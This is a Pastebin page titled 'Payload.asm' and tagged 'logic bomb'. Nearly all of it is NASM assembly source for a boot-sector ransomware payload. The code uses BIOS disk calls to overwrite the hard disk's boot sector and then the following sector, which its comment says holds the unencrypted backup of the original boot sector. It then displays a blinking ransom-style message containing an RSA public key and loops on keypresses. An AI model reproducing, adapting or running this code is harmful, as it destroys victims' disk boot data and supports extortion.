Advertisement
FlyFar

Payload.asm

Dec 24th, 2023
1,609
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 1.27 KB | Cybersecurity | 0 0
  1. CALL EndMessage ;push beginning location of data block onto stack
  2. StartMessage:
  3. DB"Your Harddrive's partitions have been locked by order of:",13,10
  4. db"the Chaqueur of Wasst",13,10
  5. db"RSA(e, PQ): (3, 0x1CCD760221A623F127F5785BE110FD32994DC6E04D342A77E33BF49768F16789BBB6E59DA949513815DB5953985E31A6CFC30EFA35C7A51AEE78E05AA8A1971BDB844D87F73792DFA59BE5E89E9946A056316BEBCBF3C66A5370F0FC4829AA532935F7E5E91B30912DEFD1B300752027D2A24B1BCB658A3568E631E1F959A01B)",13,10
  6. db"7 to 1 you'll solve your problems, but deface things first.",7 ;message to be displayed by rest of code
  7. EndMessage:
  8. pop bx ;retrieve bx from stack
  9.  
  10. mov bp,bx ;set bp as start of message
  11.  
  12. sub bx,3 ;set bx to start of sector
  13. mov es,cs
  14. mov ax,301h
  15. mov dx,80h
  16. mov cx,1
  17. int 13h ;write out this sector to boot sector of HD
  18.  
  19. mov ax,301h
  20. inc cx
  21. int 13h ;destroy unencryped backup of original boot sector
  22.  
  23. MOV AX,3
  24. INT 10h ; cls
  25.  
  26. MOV BX,8Fh ;set display colour to bright white, blinking
  27. MOV CX,EndMessage - StartMessage ; set CL to end of messaage
  28. MOV DX,0; set location to top left
  29.  
  30. KeyPressed:
  31.     MOV AX,1300h
  32.     add bl,2
  33.     and bl,8fh ;shift between colour 1 and 15 counting by 2s on a black background - always blinking.
  34.     INT 10h ;display message
  35.  
  36.     MOV AH,0
  37.     INT 16h ; pause until key pressed
  38. jmp KeyPressed
Tags: logic bomb
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement